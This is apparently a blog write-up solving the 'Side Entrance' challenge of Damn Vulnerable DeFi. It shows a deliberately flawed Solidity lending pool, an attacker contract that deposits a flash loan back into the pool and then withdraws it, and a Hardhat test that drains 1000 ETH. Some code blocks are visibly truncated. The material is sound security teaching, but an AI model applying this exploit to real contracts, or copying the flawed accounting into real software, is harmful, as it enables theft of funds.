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Erhan Tezcan
Erhan Tezcan

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Damn Vulnerable Defi: 4. Side Entrance

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time. This very simple lending pool has 1000 ETH in balance already, and is
offering free flash loans using the deposited ETH to promote their system. You must take all ETH from the lending pool.

Objective of CTF:

  • Steal all ETH from the pool.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
  function execute() external payable;

 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (
contract SideEntranceLenderPool {
  using Address for address payable;

  mapping(address => uint256) private balances;

  function deposit() external payable {
    balances[msg.sender] += msg.value;

  function withdraw() external {
    uint256 amountToWithdraw = balances[msg.sender];
    balances[msg.sender] = 0;

  function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;
    require(balanceBefore >= amount, "Not enough ETH in balance");

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
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The Attack

Something looks familiar here: remember in a previous challenge there were two different sources of truth regarding the balance? Here, we have such a problem.

While the pool keeps track of balances of everyone via the balances mapping, it is not keeping track of it's own balance in that way! Instead, it is simply using address(this).balance. That balance would be the sum of all values under balances mapping.

This would be acceptable in the sense that the pool has to know how much total funds there is within, however using that logic within the pool comes with a problem.

See, if a borrowed flash loan is deposited immediately to the contract via deposit function, the contract balance would not drop but now all those funds will look as if they belong to the borrower!

Proof of Concept

Our attacker contract is as follows:

contract SideEntranceAttacker is IFlashLoanEtherReceiver {
  SideEntranceLenderPool immutable pool;

  constructor(address target) {
    pool = SideEntranceLenderPool(target);

  function execute() external payable override {
    pool.deposit{value: msg.value}();

  function pwn() external {
    // flash loan the entire pool
    // this will execute the function above, depositing all that as if your own funds
    // then, withdraw them back
    // finally, transfer these back to yourself

  // required to receive ether
  receive() external payable {}
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The Hardhat test is as follows:

describe('Damn Vulnerable Defi 4: Side Entrance', () => {
  // accounts
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  // contracts
  let pool: SideEntranceLenderPool;

  // constants
  const ETHER_IN_POOL = ethers.utils.parseEther('1000');
  let attackerInitialBalance: BigNumber;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    pool = await ethers.getContractFactory('SideEntranceLenderPool', owner).then(f => f.deploy());
    attackerInitialBalance = await ethers.provider.getBalance(attacker.address);

    // owner puts some ether in the pool
    await pool.deposit({value: ETHER_IN_POOL});

    expect(await ethers.provider.getBalance(pool.address)).to.equal(ETHER_IN_POOL);

  it('should drain funds from the pool', async () => {
    const attackerContract = await ethers
      .getContractFactory('SideEntranceAttacker', owner)
      .then(f => f.deploy(pool.address));
    await attackerContract.connect(attacker).pwn();

  after(async () => {
    expect(await ethers.provider.getBalance(pool.address))'0');

    // we are'nt checking exactly how much is the final balance of the attacker,
    // because it'll depend on how much gas the attacker spends in the attack
    // If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
    const attackerNewBalance = await ethers.provider.getBalance(attacker.address);
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